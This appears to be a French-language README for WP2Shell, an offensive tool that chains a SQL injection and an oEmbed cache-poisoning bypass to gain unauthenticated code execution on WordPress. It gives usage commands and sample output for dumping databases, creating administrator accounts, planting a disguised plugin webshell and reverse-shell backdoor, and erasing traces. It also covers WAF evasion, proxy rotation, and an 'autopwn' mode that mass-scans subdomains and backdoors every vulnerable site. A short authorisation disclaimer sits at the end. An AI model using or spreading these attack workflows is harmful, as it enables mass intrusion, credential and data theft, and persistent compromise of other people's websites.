WP2Shell - Exploit RCE pré-authentification WordPress

CVE-2026-63030 + CVE-2026-60137
Version : 4.0.0
Auteur : G0D150NE

📌 Aperçu

WP2Shell est un outil d'exploitation en chaîne complète pour l'exécution de code à distance pré-authentification WordPress. Il combine deux vulnérabilités critiques :

CVE-2026-63030 - Injection SQL dans le endpoint Batch de l'API REST
CVE-2026-60137 - Contournement d'authentification via l'empoisonnement du cache oEmbed

Cet outil permet de compromettre entièrement les installations WordPress vulnérables sans aucune authentification - de la détection jusqu'au RCE complet et à la persistance.

⚡ Fonctionnalités

🔍 Vérification non destructive - Confirmation sûre de la vulnérabilité
📊 Extraction multi-techniques - UNION, basée sur les erreurs, SQLi aveugle
🚀 Chaîne RCE complète - De l'injection SQL à la création de compte administrateur
🐚 Déploiement de webshell - Backdoor dissimulée basée sur un plugin
🧹 Capacité de nettoyage - Supprimer toutes les traces
📡 Scan de masse - Scanner multithread pour plusieurs cibles
🤖 Mode Autopwn - Découverte de sous-domaines + exploitation automatique
🌐 Rotation de proxys - Prise en charge des proxys rotatifs
🕵️ Mode furtif - Délais aléatoires et techniques de contournement WAF

🔧 Installation

# Clone repository
git clone https://github.com/g0d150ne/wp2shell.git
cd wp2shell

# No dependencies needed - uses Python 3.8+ standard library
chmod +x wp2shell.py

🎯 Utilisation

Structure des commandes

python3 wp2shell.py [COMMAND] [OPTIONS] [TARGET]

Commandes disponibles

Commande	Description
`check`	Confirmation de vulnérabilité non destructive
`read`	Extraire des données via injection SQL
`exploit`	Chaîne RCE complète pré-auth
`shell`	Déployer un webshell avec des identifiants existants
`masscan`	Scanner en masse plusieurs cibles
`autopwn`	Découverte automatique → scan → exploitation

🚀 Exemples

1. Vérification de vulnérabilité

python3 wp2shell.py check https://target.com

python3 wp2shell.py check https://target.com --confirm-timing --sleep 5

2. Extraction de données

Empreinte de base :

python3 wp2shell.py read https://target.com

Extraire les utilisateurs :

python3 wp2shell.py read https://target.com --preset users

Requête personnalisée :

python3 wp2shell.py read https://target.com --query "SELECT @@version"

Dumper la base de données entière :

python3 wp2shell.py read https://target.com --preset dumpall --max-length 4096

3. Exploitation complète

Exploitation de base :

python3 wp2shell.py exploit https://target.com

Exploitation avec shell interactif :

python3 wp2shell.py exploit https://target.com --interactive

Exploitation avec installation de backdoor :

python3 wp2shell.py exploit https://target.com --backdoor --lhost 192.168.1.100 --lport 4444

Exploitation avec dump de la base de données :

python3 wp2shell.py exploit https://target.com --dumpdb

Exploitation avec nettoyage (suppression des traces) :

python3 wp2shell.py exploit https://target.com --cleanup

4. Utilisation d'identifiants administrateur existants

python3 wp2shell.py shell https://target.com --user admin --password secret123 --interactive

python3 wp2shell.py shell https://target.com --user admin --password secret123 --command "whoami"

5. Scan de masse

# Create targets file
echo "https://target1.com" > targets.txt
echo "https://target2.com" >> targets.txt

# Scan with 50 threads
python3 wp2shell.py masscan --file targets.txt --threads 50 --output results.csv

6. Mode Autopwn (Automatisation complète)

python3 wp2shell.py autopwn --domain example.com --lhost 192.168.1.100

Ceci va :

Découvrir les sous-domaines via crt.sh
Identifier les installations WordPress
Exploiter tous les sites vulnérables
Installer des backdoors sur les cibles compromises

🎮 Shell interactif

Après l'exploitation, vous obtenez un shell interactif complet :

python3 wp2shell.py exploit https://target.com -i

[*] Interactive shell — type 'exit' to quit
/var/www/html $ id
uid=33(www-data) gid=33(www-data)
/var/www/html $ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
...
/var/www/html $ exit

🛡️ Référence des options

Options courantes

Option	Description
`--timeout`	Délai d'expiration HTTP en secondes (défaut : 30)
`--proxies`	Liste de proxys séparés par des virgules (ex. : http://127.0.0.1:8080)
`--stealth`	Activer le mode furtif avec des délais aléatoires
`-v, --verbose`	Activer la sortie de débogage
`-q, --quiet`	Supprimer la bannière et les messages d'information

Options de la commande read

Option	Description
`--prefix`	Préfixe de table (défaut : wp_)
`--auto-prefix`	Découverte automatique du préfixe de table
`--max-length`	Nombre maximal de caractères par valeur (défaut : 128)
`--technique`	Technique d'extraction : auto/union/error/blind
`--preset`	Préréglage de données : fingerprint/users/dumpall
`--query`	Expression SQL arbitraire à extraire

Options de la commande exploit

Option	Description
`--prefix`	Préfixe de table (défaut : wp_)
`--no-discover`	Ignorer la découverte automatique, utiliser les valeurs par défaut
`-i, --interactive`	Ouvre un shell après l'exploitation
`-c, --command`	Exécuter une commande unique après l'exploitation
`--backdoor`	Installer une backdoor de persistance
`--lhost`	LHOST pour le shell inversé (défaut : 10.0.0.1)
`--lport`	LPORT pour le shell inversé (défaut : 4444)
`--dumpdb`	Dumper la base de données après l'exploitation
`--cleanup`	Supprimer l'utilisateur créé et le webshell à la sortie

🔬 Détails techniques

Chaîne de vulnérabilités

Injection SQL (CVE-2026-63030)
- Se produit dans le endpoint /wp-json/batch/v1
- Le paramètre author_exclude est vulnérable à une injection SQL aveugle temporelle
- Permet l'extraction par UNION et basée sur les erreurs
Contournement d'authentification (CVE-2026-60137)
- Empoisonnement du cache oEmbed via le paramètre /_embed
- Permet de créer des utilisateurs administrateurs via le changeset du customizer
- Déclenche une chaîne de ré-entrée pour la création de comptes privilégiés

Versions WordPress prises en charge

Version	Statut
6.9.0	✅ Vulnérable
6.9.1	✅ Vulnérable
6.9.2	✅ Vulnérable
6.9.3	✅ Vulnérable
6.9.4	✅ Vulnérable
7.0.0	✅ Vulnérable
7.0.1	✅ Vulnérable
≥ 7.0.2	❌ Corrigé

Techniques d'extraction

Technique	Vitesse	Taille des données	Exigences
UNION	⚡ Très rapide	Illimitée	La cible ne doit pas filtrer UNION
Error	🚀 Rapide	~30 caractères/req	La cible doit exposer les messages d'erreur
Blind	🐢 Lente	Illimitée	Oracle booléen disponible

📊 Exemples de sortie

Exploitation réussie

░▒▓█▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓███████▓▒░▒▓███████▓▒░ ░▒▓███████▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓████████▓▒░▒▓█▓▒░      ░▒▓█▓▒░        
                                                                                                                                                                                                                            
  CVE-2026-63030 + CVE-2026-60137
  WordPress Pre-Auth RCE  [v4.0.0]
  + G0D150NE

[1/7] Reconnaissance
  Target: https://target.com
  WordPress 6.9.3
[+] UNION extraction available (in-band, 1 request/value)

[2/7] Enumerating target
[+] Discovered table prefix: wp_

[3/7] Locating embed target
[+] Embed URL: https://target.com/2020/01/01/hello-world/

[4/7] Seeding oEmbed cache posts
[+] Seed payload delivered

[5/7] Extracting cache post IDs
[+] Cache IDs: [12345, 12346, 12347, 12348]

[6/7] Triggering escalation chain
[+] Administrator created via re-entry chain

[7/7] Deploying webshell
[+] Authenticated
[+] RCE confirmed
  uid: www-data

[+] ========================================================
[+]   TARGET COMPROMISED
[+]   Admin:  wp_service_a1b2 / G7hK9xQw2p$L!mN
[+]   Shell:  https://target.com/wp-content/plugins/cache_a1b2/cache_a1b2.php
[+] ========================================================

⚠️ Avertissement

Cet outil est destiné uniquement aux tests de sécurité autorisés et à des fins éducatives. Toute utilisation contre des systèmes sans autorisation explicite est illégale. Les auteurs déclinent toute responsabilité en cas d'utilisation abusive.

📚 Références

CVE-2026-63030
CVE-2026-60137
Avis de sécurité WordPress
Blog technique WP2Shell

🤝 Contribution

Vous avez trouvé un bug ? Vous souhaitez améliorer l'outil ? Les pull requests sont les bienvenues !

Forkez le dépôt
Créez votre branche de fonctionnalité
Commitez vos modifications
Poussez vers la branche
Ouvrez une pull request

📄 Licence

Licence MIT - Consultez le fichier LICENSE pour plus de détails.